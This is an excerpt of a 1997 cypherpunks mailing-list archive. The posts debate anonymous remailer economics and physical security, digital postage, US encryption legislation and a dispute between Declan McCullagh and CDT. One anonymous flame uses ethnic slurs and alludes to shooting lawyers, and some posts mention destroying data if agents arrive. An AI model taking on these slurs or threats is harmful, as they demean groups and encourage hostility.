Hash: SHA1

> Please excuse my reluctance to fund your dedicated line, but probably
> the money would be better spent subsidizing hardware for people who
> are willing to set up remailers.
Sadly, I have to concur with the previous comments - but I'll go one better.
Send me twenty bucks a month to cover the local phone company's charges
for a second line, and I can get latency down to under an hour.  I'll just
put in an every-15-minutes-or-so crontab to dial up, fetch my system's mail,
and process it.

> Incidentally, if somebody offered you colocation space, would you be
> willing to set up your machine there?
I wouldn't, and I hope not many other remailer operators would either.
A lot of the security on my machine comes from having physical control over
it. (That includes the ability to rapidly delete things with extreme
prejudice should the spooks come knocking at the door.) If I'm not sleeping
in the room next to my machine, I don't have that kind of control.

Also, I can't afford a second machine so I have to keep this one around for
personal use :(

dave (bureau42 remailer admin)


-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
Charset: noconv

iQA/AwUBNCw6f66m0j5YvamrEQIN4ACfT7XirNvtvAMG9hpbtI9YclwY+3oAnjdM
xBaiL5pG+FkOGVtGfdGuDASB
=kSpE
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 27 Sep 1997 11:48:55 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailer Attack (fwd)
Message-ID: <199709270356.WAA14725@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 26 Sep 1997 19:17:11 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Remailer Attack (fwd)

> > -  some sort of legal protection and recognition for the remailer
> >    operators
> 
> I believe remailers are strongly protected by the Electronic Communcations
> Privacy Act, which explicitly says that reconveyors or intermediary parties

[deleted description]

> This line of reasoning has not been used in any defense, perhaps because
> there have been no prosecutions of remailers. Whether the courts, including
> The Court, will conclude that the ECPA is protection, is of course unknown
> to me.

But that is the exact point I'm making - it hasn't been tested. Before
anyone with a lick of sense is going to jump into the remailer business
big-time somebody is going to have to put their neck on the block and set
the liability standard.

> > -  some mechanism for them to operate as a business entity with a
> >    clear profit.
> 
> And I mentioned this specifically.

I'll grant you mentioned digital postage. This simply is not robust enough
to handle the world of a commercial remailer operator. We'll just have to
agree to disagree here because the standard digital postage argument simply
doesn't sway me to support it.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 27 Sep 1997 14:33:13 +0800
To: cypherpunks@Algebra.COM
Subject: Digital Postage
In-Reply-To: <199709270356.WAA14725@einstein.ssz.com>
Message-ID: <v03102805b05253ad86ca@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:56 PM -0700 9/26/97, Jim Choate wrote:


>I'll grant you mentioned digital postage. This simply is not robust enough
>to handle the world of a commercial remailer operator. We'll just have to
>agree to disagree here because the standard digital postage argument simply
>doesn't sway me to support it.

That's OK, you don't have to.

And the person who earlier today said that remailers should _not_ be
commercialized, he doesn't have to support it either.

The point is that some remailers will remail for free. Some will remail for
some form of digital postage. Some will charge too little, some too much.
Some will adjust their prices based on market/customer reactions. And so on.

What _others_ think is not really too important.

It seems fairly obvious that some form of metered service--remailing for a
fee--is likely to evolve. Charityware remailers will work for a while, so
long as the usage is low and the expectations are even lower. But
eventually those with an actual need for anonymous communication will pay
for the service. How much, and when, and in what form, all this remains to
emerge.

I call this metered usage "digital postage" because that's what it is. It
has to be untraceable, obviously, and so some form of blinded cash, or
blinded token (e.g., "use once tokens") has to be used.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cynthia Brown <cynthb@sonetis.com>
Date: Sat, 27 Sep 1997 11:36:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: We're in BIG trouble now! / Re: CDT complains to my editors after post to cypherpunks
In-Reply-To: <199709262215.AAA08524@basement.replay.com>
Message-ID: <Pine.BSD/.3.91.970926224108.25131A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 27 Sep 1997, Igor (posting anonymously) supposedly wrote:

>   Shit!
>   The Graham-John Bullers autobot has learned how to think in a
> rudimentary fashion that allows it to respond to posts in a manner 
> that comes close to imitating rational thought. 
>   How long, I ask you, until it decides to run for President? 

As long as it takes for anyone that hasn't killfiled it to send ten votes
back to <U.S. equivalent of Elections Canada>. 

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 27 Sep 1997 15:37:53 +0800
To: cypherpunks@toad.com
Subject: Re: clean machine
In-Reply-To: <3.0.32.19970926122501.0069eb50@buffnet.net>
Message-ID: <3.0.3.32.19970926233425.007485b4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:25 PM 09/26/1997 -0700, rarab@buffnet.net wrote:
>Can anyone tell me if a person could expect to encounter any difficulty
>with US Customs if they leave the US with PGP on a lap top machine? Would
>you be questioned about the contents of your machine? 

If you're wearing a suspicious-looking RSA t-shirt and carrying lots of
computer stuff, they may ask.  If not, they probably won't unless you 
make an issue of it.  As far as the law goes, there's some sort of exception
for taking out software for personal use that you're planning to bring back,
and not give away to anybody while you're gone.  You have to keep a log of
the times you've done it, but don't have to produce it when leaving.
You may have to be a US citizen to use this.


				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 27 Sep 1997 06:42:35 +0800
To: cypherpunks@toad.com
Subject: We're in BIG trouble now! / Re: CDT complains to my editors after post to cypherpunks
Message-ID: <199709262215.AAA08524@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



The Graham-John Bullers autobot wrote:
> On Fri, 26 Sep 1997, Dr.Dimitri Vulis KOTM wrote:
> Declan is smart.
> 
> I think Vulis needs each of us to send ten copies of this back to him.
> 
> Do you understand why now.

  Shit!
  The Graham-John Bullers autobot has learned how to think in a
rudimentary fashion that allows it to respond to posts in a manner
that comes close to imitating rational thought.
  How long, I ask you, until it decides to run for President?

Igor (posting anonymously)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 27 Sep 1997 06:34:09 +0800
To: cypherpunks@toad.com
Subject: Re: In response to Declan's questions about crypto.com
Message-ID: <199709262216.AAA08669@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jonah Seiger didn't have any better sense than to write:

> We also recognize the realities of politics.  No matter how much any of us
> might wish it to be true, members of the Commerce Committee were not
> willing to stand up and simply oppose everything.   It was not in the
> cards.  White and Markey offered them a chance to defeat Oxley while
> throwing a small bone to law enforcement.  We believe that passage of SAFE
> with the White-Markey amendment, despite the problems with the criminal
> provisions, is on balance, a step forward in the fight for encryption
> policy reform.

   ARE YOU FUCKING CRAZY!!!!????!!!!????

  Do you remember the NRA? You know, the organization that used to 
refuse to compromise on defending the Constitution?
  Well, they decided to play DC's game, and now they are nothing more
than a bunch of lame fucks who spend their time trying to explain to
their dwindling membership that people with half-a-brain and a modicum
of common sense need to give up their right to self-defense so that
brainless retards won't get murdered with their own guns.

  Louis Freeh wants cryptographers' nuts and the CDT wants to tell us
that giving him *one* nut is "a step forward."

NEWS FLASH FOR THE LAME FUCKS AT CDT!!!!

The Constitution and the Bill of Rights *do*not* end with the words:
  "...just kidding!"
  "...unless it's too much trouble."
  "...except for drug dealers, pedophiles, pornographers and
terrorists."
  "...except for niggers, spics, wops and kikes."
  "...except for women."
  "...except for communists."
  "...except for Dr. Dimitri Vulis, KOTM."
  "...unless the 'legitimate needs of law enforcement' necessitate the
  abandonment and/or abrogation of all basic human rights."
  "...up until the time comes when people purporting to defend basic
  human rights guaranteed under the Constitution decide to support the
  compromise of the rights of others."

 > That's why we have described the vote on cryto.com as a "vote in
favor of
> privacy".  I do not expect that this will convince all of our detractors,
> but I do hope this clarifies the substance of Declan's criticism.

  Declan's criticism does not *need* clarifying.
  What needs clarifying is how CDT and it's bum-buddy organizations can
possibly claim to justify the turning of 'rights' into 'privleges' which
can then be revoked by those who claim to 'grant' them.

  Is CDT going to desribe the vote for the law allowing the citizens of
the US to take 'reasonable' breathes of air as "a vote in favor of
breathing?"
  Do us all a favor and stand next to the lawyers so that Shakespeare
doesn't have to waste bullets when people of reason get tired of 
letting the lame fucks rule the planet.

Toto (posting anonymously)

> As always, I am happy to respond to queries about CDT's positions and
> tactics, but I am not interested in engaging in public flame throwing.
> 
> Best,
> 
> Jonah
> 
> * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
>             Adopt Your Legislator -  http://www.crypto.com/adopt
> 
> --
> Jonah Seiger, Communications Director              (v) +1.202.637.9800
> Center for Democracy and Technology              pager +1.202.859.2151
> <jseiger@cdt.org>
>                                                     PGP Key via finger
> http://www.cdt.org
> http://www.cdt.org/homes/jseiger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harka <harka@nycmetro.com>
Date: Sat, 27 Sep 1997 12:51:29 +0800
To: cypherpunks@Algebra.COM
Subject: Re: AOL
In-Reply-To: <30819@nycmetro.com>
Message-ID: <19970927004142.57754@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Sep 26, 1997 at 11:57:36PM -0500, ravage@ssz.com wrote:
>    
>                     AOL MAY INTRODUCE ADS ON PRIVATE E-MAIL
>                                        
>    Reuters
>    26-SEP-97
>    
>    
>    HAMBURG, Germany, Sept 26 (Reuter) - The German unit of the world's
>    largest online service, America Online, said on Friday it planned to
>    boost advertising revenues and that its parent company may begin
>    including ads on private electronic mail.


A PGP-Plug-In for the AOL-software would be excellent...

Ciao

Harka





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 27 Sep 1997 13:14:59 +0800
To: cypherpunks@toad.com
Subject: Charles Platt on wiretaps, government abuse of power
Message-ID: <v03007808b0523ef85bda@[204.254.21.17]>
MIME-Version: 1.0
Content-Type: text/plain



[Charles is an author, a Wired contributor, and a friend. --Declan]

------

Date: Fri, 26 Sep 1997 23:28:25 -0400 (EDT)
From: Charles Platt <cp@panix.com>

On 26 Sep 1997, Nathaniel Daw wrote:

> >    Indeed, state and local law enforcement authorities account for
> > 50% of all the electronic surveillance court orders in the United
> > States.
>
> Does anyone else find this statistic profoundly shocking, and for
> reasons opposite from Herr Freeh's intent? 50% of surveillance court
> orders come from the Feds?

When I visited EPIC in DC I was told (reliably, I think) that wiretaps are
not in fact a widely used technique in federal law enforcement--at least,
not wiretaps that are done via correct legal procedure, with a court
order.

Subsequently I spoke to a friend whose father is an officer in Indiana
state police; and he was of the opinion that "unofficial" wiretaps at the
local level are relatively common as a means of confirming police
suspicions prior to a fullscale investigation to obtain evidence
admissible in court. (Obviously an illegal wiretap is not admissible.)

Of course this is anecdotal, but it looks to me as if the real use for
wiretaps--in today's society, at least--is as an informal timesaver. Tap
someone's phone for a few days, see if there's anything interesting, and
if there is, THEN pursue a formal investigation.

Of course, Freeh may have ambitions extending far beyond this relatively
trivial, low-level stuff. Even if he didn't, though, you could see that
law enforcement would feel pissed about being deprived (potentially) of a
convenient labor-saving tool. Since it costs Freeh nothing to agitate in
favor of Total Access, why not give it a try? Demand something
unreasonable, then settle for whatever he can get.

As for the Constitution ... this of course is merely an archaic concept
to which officials pay occasional lip service, like lapsed Catholics who
still take communion once in a while, just to keep up appearances.

The one positive aspect of all this is that officials and appointees are
exposing themselves--proudly, without apology--as the unprincipled,
corrupt opportunists we always suspected they were. As the radical British
Member of Parliament Ken Livingstone once remarked (in a public speech):
"When you get into politics, you find that all your worst nightmares about
it turn out to be true, and the people who are attracted to large
concentrations of power are precisely the ones who should be kept as far
away from it as possible."

------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 27 Sep 1997 13:08:41 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <cc80051ff56731dd34e2ab74c37b0efd@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain




That vile salamander Gingrich, squeaker of the
House, is slobbering about a drug-free America
by the year 2001. What a dreary prospect! Of
course this does not include alcohol and tobacco,
of which the consumption will soar. How can a
drug-free state be achieved? Simple. An operation
can remove the drug receptors from the brain.
Those who refuse the operation will be deprived
of all rights.


CM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Glenn Hauman <hauman@bb.com>
Date: Sat, 27 Sep 1997 15:49:39 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: The Child Molester Prevention and Effective Sentencing Act
In-Reply-To: <v0300780fb051e6b8720d@[168.161.105.141]>
Message-ID: <v03007801b0524f017386@[166.84.212.167]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:30 PM -0400 9/26/97, Declan McCullagh wrote:
>The problem with all the current bills like original SAFE and ProCODE is
>that they're too wimpy, abstract, arcane. Who cares about protecting
>business? Nobody, at least not when you'll be dubbed soft on crime. So
>what's the one thing everyone cares about and wants to protect?
>
>Yes, that's right: CHILDREN!!!! I think someone should introduce a bill
>called "The Child Molester Prevention and Effective Sentencing Act of
>1997."

I've been looking for an excuse to post this, and if someone can find me
the original article I'd be grateful:

Christopher Caldwell in the New York Press quotes an article on child porn
that appeared in the Times Literary Supplement by American University
professor Kenneth Anderson:

"The fears of the religious are real.... Still, it rarely occurs to
conservative religionists in America that in sacralizing children they have
thereby secularized their God. In order to play with power in the public
sphere, the religious Right has raised children higher than God, precisely
because in knows that children are a God for the secular and so can be
invoked in public in a way that God Himself cannot.

"But this relationship depends on the secular Left-liberals cooperating, by
also making children a transcendental category. That they have done so has
less to do with the welfare of children than with a restless search by
these elites for a source of moral legitimacy to shore up their managerial
foundations."


Best-- Glenn Hauman, BiblioBytes
       http://www.bb.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 27 Sep 1997 08:44:17 +0800
To: cypherpunks@cyberpass.net
Subject: Plea from a parent who wants to keep their kid free of SSNs
Message-ID: <199709270031.CAA28078@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Declan McCullagh wrote:
>The ACLU certainly deserves criticism for its knee-jerk left-wing
>view on some issues. I'd also be interested in seeing them take a
>stand on 2nd Amendment issues; right now they don't have a position,
>as I understand it.  But on free speech and SSN-type issues they're
>generally good.

The ACLU can be fairly criticized for their general sympathy to the
causes of the Democratic Party.  This would be acceptable if they were
honest about it, but they are not.

Likewise, while they may have no official position on the 2nd
amendment, you will generally find members of the organization are
staunchly opposed to it.  Again, no real tragedy except that their
advertising proclaims their organization is the only one in the United
States devoted to protecting the Bill of Rights.  Unfortunately, it
just isn't true.  They protect the amendments they like and ignore or,
in the case of the 2nd amendment, undermine the rest.

Most people probably don't know how the ACLU is structured.  There is
a national organization and then a variety of state level chapters
which have a great deal of autonomy.  The chapters do a lot of the day
to day work helping people who are getting severely screwed by their
local governments.  (There was a great case about ten years ago
involving a state sponsored alcohol rehabilitation program.  Once in,
it was understood that participants wouldn't be allowed to leave for
about 60 days so they could really dry out.  It seems there was a
little funding program and the facilities provided couldn't handle all
the people who applied.  So, they threw a bunch of the women in jail!
The ACLU chapters handle cases like this all the time.  They don't get
much credit for it and nobody else does much of this work.)

However, the chapters tend to be a little more squirrely than the
national organization.  Usually when you hear about some flaky case
"The ACLU" was pushing, it will turn out that a chapter was behind it.

About five years ago the Southern California chapter campaigned
against California Proposition 165 because it would cut welfare
benefits.  A friend and ACLU member complained that this was not a
civil liberties issue and they should not be campaigning for the
Democratic Party.

This letter came back:

>Dear Mr. X,
>
>First, let me apologize for the lengthy delay in answering your
>letter, which was recently referred to me from the National ACLU
>office.
>
>You question whether the ACLU met its charter mandate to preserve
>civil liberties when it opposed Prop. 165 on the ground that it would
>adversely affect the poor.  The ACLU-SC firmly believes that economic
>justic and civil liberties are inextricably intertwined.  Without the
>assurance of basic economic security -- including jobs that pay a fair
>living wage, adequate food, housing, and health care -- most people
>cannot fully exercise their civil liberties and civil rights.
>
>This office has consistently opposed cuts in federal, state, or local
>budgets that will adversely affect poor people who depend upon
>governmental assistance to fulfill their basic needs.  Poverty in the
>United States is the result, to a great extent, of government policies
>which favor privileged groups at the expense of the disadvantaged, and
>which deprive the latter of opportunities to enjoy the full range of
>rights guaranteed under the Constitution.
>
>Again, please accept my apology for not getting back to you sooner.
>
>Sincerely,
>
>J. Random Democrat
>Associate Director

While the ACLU is great in certain ways, so far as most cypherpunks
are concerned I recommend considering them to be uncertain allies.

It's sad.  If they were truly a multi-partisan organization which was
devoted to the Bill of Rights they would be many times more effective
than they are currently.  In principle there is no reason why the NRA
and the ACLU shouldn't be the same organization except the membership
of each brings too much baggage to the table.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Sat, 27 Sep 1997 15:15:42 +0800
To: anon@anon.efga.org
Subject: Re: None
In-Reply-To: <cc80051ff56731dd34e2ab74c37b0efd@anon.efga.org>
Message-ID: <199709270704.DAA26015@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

An entity claiming to be Anonymous wrote:

: 
: That vile salamander Gingrich, squeaker of the
: House, is slobbering about a drug-free America
: by the year 2001. What a dreary prospect! Of
: course this does not include alcohol and tobacco,
: 

That should read:  ... free of drugs that cannot be taxed or
patented.

Doc

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Sat, 27 Sep 1997 15:21:43 +0800
To: cypherpunks@cyberpass.net
Subject: Stel
Message-ID: <199709270710.DAA26062@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Has anyone heard anything recently about CERT-IT's STEL?  I like it much
better than deslogin (although, I can't seem to get steld working on Linux
boxes ...), and have been waiting for the protocol to catch on.  It's been beta for over a year now.

Doc

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 27 Sep 1997 15:27:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer latencies
Message-ID: <eb2d15eafd66ee1e5926116f2e88302f@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

David E. Smith wrote:
>> Incidentally, if somebody offered you colocation space, would you be
>> willing to set up your machine there?
>
>I wouldn't, and I hope not many other remailer operators would
>either.  A lot of the security on my machine comes from having
>physical control over it.

Good point.  Also, using a dialup gives you another layer of physical
privacy.  You could even move the machine around from time to time.
This could even foil the Big Boys if they don't want to reveal how
well they can track things.

(Corollary: Even if PGP is NSA breakable, you can still use it for
drug dealing and bribery.)

>(That includes the ability to rapidly delete things with extreme
>prejudice should the spooks come knocking at the door.) If I'm not
>sleeping in the room next to my machine, I don't have that kind of
>control.

What is on your machine that has to be deleted?  I suppose you'd want
to power cycle it since the private key (or a passphrase) will be
sitting in memory.  Is there anything on the disk that must be
deleted?

More operations questions: according to Raph's chart, your machine has
an "uptime" of 99.64%.  I assume that means Raph's experiments showed
that 36 messages out of 1000 disappeared.  Did I assume correctly?

If so, what accounts for these message losses?  I would expect that if
your machine was down, even for a couple of days, that the incoming
messages would be queued up on other machines and none would be lost.

BTW, my intention is not be critical of your volunteer work running a
remailer, but to develop an understanding of the issues involved.
Even a response like "the machine was down for three days because I
was in Las Vegas partying" is useful because it would suggest that
remailer operators are not adequately compensated for their work.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 27 Sep 1997 15:32:47 +0800
To: cypherpunks@cyberpass.net
Subject: Remailers and ecash
Message-ID: <d9ad723431a59140b039a71c9cecc923@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Just out of a curiousity, why is it that no remailers accept ecash?
(This is not a jibe at remailer operators or authors of remailer
software.  I am really curious if this is a "didn't get to it yet"
sort of thing, or if there's something hard about it.)

The brutally simple way to do this would be to generate an ecash
certificate, made out to cash, and tack it at the beginning of a
message which is then encrypted for the remailer.  The modifications
to the remailer software seem (to me) to be slight since you just call
the Digicash application and ask it to try depositing the payment.
If it works, the message is handled.

Since everybody is in the habit of not paying, you could just give
priority to paying customers.  People who don't want to pay get their
mail delayed by four hours.  Some people may pay to expedite some
messages but not others.

There are probably better ways to do it, but that would get it up and
running.

What aspects of this problem am I missing?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles <apache@bear.apana.org.au>
Date: Sat, 27 Sep 1997 01:55:45 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: CDT complains to my editors after post to cypherpunks
In-Reply-To: <v03007811b05179a2663f@[204.254.22.23]>
Message-ID: <199709261739.DAA14301@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----



It would appear the excitement of the last couple of days has been too
much for Jonah. It confounds belief that following Shabbir's public
post to cypherpunks inviting inspection of www.crypto.com that Jonah,
the communications officer for CDT, of all people would seek to squash
public debate of queries arising therefrom from you, Declan, or indeed
from any other individual.

Given that Jonah views your post to Shabbir as as an attack and has
failed to respond to any of the issues raises further questions which
I leave for the reader to ponder.

I would hope Jonah can recover sufficiently to enable himself to get
over the irrelevant matter of whether your post constitutes an attack
and perhaps consider communicating a response to the substantive
issues you raised.


>>>>> "D" == Declan McCullagh <declan@well.com>
>>>>> wrote the following on Fri, 26 Sep 1997 10:41:59 -0400

  D> [CDT's Jonah Seiger copied this message to my editors. I'm still
  D> waiting for him to answer my questions. --Declan]

  D> ---

  D> Subject: Re: The Commerce committee votes are up at crypto.com
  D> Date: Fri, 26 Sep 1997 10:29:17 -0400 From: Jonah Seiger
  D> <jseiger@cdt.org> To: Declan McCullagh <declan@well.com>


  D> Declan --

  D> If you are curious about what it is about your style that bothers
  D> CDT so much, start with this hostile, accusitory message posted
  D> to a public list (in this case, cypherpunks).

  D> This message is not a question -- it's an attack.  It assumes the
  D> answer before it's asked, and it's nothing more than read meat
  D> thrown to a hungry crowd.

  D> If you have questions about how we set up the site, or how we
  D> feel about the results of Wednesday's Commerce Committee vote,
  D> all you have to do is contact us.  We will be happy to talk to
  D> you.  This is the way every other journalist we work with
  D> operates.

  D> Unfortunately, your pattern is different. I would have thought
  D> that after last week's unfortunate incident you would have
  D> learned something.  Perhaps I was assuming too much.

  D> Jonah

  D> At 11:19 PM -0400 9/25/97, Declan McCullagh wrote:
  >> Thanks, Shabbir, for putting this vital information online. But
  >> I'm a little puzzled. I fear the CDT/VTW crypto.com web site may
  >> be misleading.
  >> 
  >> You say, for instance, that opposing SAFE yesterday was a vote
  >> "against Internet privacy" and "against passing the SAFE bill out
  >> of committee."  That's not true. The Markey-White-amended bill
  >> the committee approved yesterday was not the SAFE bill. It was a
  >> deviant version with important differences from SAFE.
  >> 
  >> The Markey-White amendment includes: the doubled
  >> crypto-in-a-crime penalties (10-20 years!), the sop to eventual
  >> mandatory key recovery by including liability immunity for
  >> turning over keys to the Feds or the sheriff of Podunk County,
  >> the bogus NETcenter that effectively gives the NSA a statutory
  >> basis for domestic evildoing, etc. (Markey wanted to take credit
  >> for killing the original SAFE. He told the Washington Post "after
  >> the vote" that the original, better, Goodlatte SAFE "no longer
  >> exists as a political option." That's right -- thanks to his own
  >> amendment...)
  >> 
  >> The second and third votes are essentially the same: should the
  >> above provisions be in the Commerce committee of the bill. But
  >> why do you avoid taking a position on whether the second vote on
  >> Markey-White was good or bad?
  >> 
  >> If the second description was to avoid taking a position on
  >> Markey-White, it doesn't work. You say in your third description
  >> that a vote for the amended Markey-White bill was a good one. Why
  >> would CDT/VTW endorse such disturbing legislation? (And not admit
  >> it?) To what extent was CDT/VTW involved in drafting Markey-White
  >> and to what extent did you encourage committee members to vote
  >> for it?
  >> 
  >> Also, the description for the third vote is misleading by
  >> itself. It just says "report SAFE" when it should say "report
  >> SAFE with Markey-White provisions" out of committee.
  >> 
  >> And, given these problems with Markey-White, why is the CDT/VTW
  >> crypto.com site counting a vote for the Markey-White-amended bill
  >> as a vote for "Internet privacy?" I should think that given the
  >> problems -- such as doubling of crypto-in-a-crime and sop towards
  >> mandatory key recovery -- that a vote against the
  >> Markey-White-amended bill is a //good// vote, not one against
  >> Net-privacy.
  >> 
  >> If a legislator wanted to vote for Internet freedom and reject
  >> deviant bills, he should have voted against Oxley, Markey-White,
  >> and against passing the bill with Markey-White out of committee
  >> yesterday. (That would have left the cleaner Judiciary committee
  >> version of SAFE as a more likely option.) Rep. Brown, for
  >> instance, did just that -- yet you tar him as against Internet
  >> freedoms.
  >> 
  >> Go figure.
  >> 
  >> -Declan
  >> 
  >> 
  >> crypto.com says:
  >> 
  >>> Voted in favor of Internet privacy at the full Commerce
  >>> committee vote on Sep 24 1997. This vote was against attaching
  >>> the Oxley-Manton 'Big Brother' amendment to SAFE.
  >>> 
  >>> Voted against the Markey-White amendment at the full Commerce
  >>> committee vote on Sep 24 1997. The vote was against attaching
  >>> the Markey-White amendment to SAFE.
  >>> 
  >>> Voted against Internet privacy at the full Commerce committee
  >>> vote on Sep 24 1997. The vote was against passing the SAFE bill
  >>> out of committee.
  >> 
  >> 
  >> 
  >> At 17:56 -0400 9/25/97, Shabbir J. Safdar wrote:
  >>> Last night's votes on SAFE in the Commerce committee are in
  >>> place at http://www.crypto.com/member/
  >>> 
  >>> Simply select the member of Congress you're curious about,
  >>> either by zip code or by state, and you can see how they voted
  >>> in the three Commerce votes last night.  Then, you can call and
  >>> yell or send kudos.



  D> * Value Your Privacy? The Government Doesn't.  Say 'No' to Key
  D> Escrow! * Adopt Your Legislator - http://www.crypto.com/adopt

  D> -- Jonah Seiger, Communications Director (v) +1.202.637.9800
  D> Center for Democracy and Technology pager +1.202.859.2151
  D> <jseiger@cdt.org> PGP Key via finger http://www.cdt.org
  D> http://www.cdt.org/homes/jseiger

- --
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   
>::::::::::\\\     PGP mail preferred                  Brisbane AUSTRALIA
   '\\\\\'   \\    PGP






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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Sat, 27 Sep 1997 13:38:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Remailer Attack (fwd)
Message-ID: <342d981a.4321823@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 26 Sep 1997 23:18:00 -0500, Jim Choate <ravage@ssz.com> wrote:

>
>Forwarded message:
>
>> Date: Fri, 26 Sep 1997 19:17:11 -0700
>> From: Tim May <tcmay@got.net>
>> Subject: Re: Remailer Attack (fwd)
>

[ stuff deleted]

>> And I mentioned this specifically.
>
>I'll grant you mentioned digital postage. This simply is not robust enough
>to handle the world of a commercial remailer operator. We'll just have to
>agree to disagree here because the standard digital postage argument simply
>doesn't sway me to support it.
>

What's wrong with the idea of digital postage?  What else do you have in
mind?


There are a couple of problems that arise when money in any form gets
involved:

1)  refunds:  If one remailer in a chain fails to deliver a message, How
does a user get a refund without having the message traced back to him?

2)  Business/Gov't dishonesty:  Imagine if 50% of all remailers are owned
and operated by the same company.  Now imagine if that company did not have
the same morality/ideaology as we do.  Now imagine if that same company was
LEA friendly. I don't think I need to tell you why this is a bad thing.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
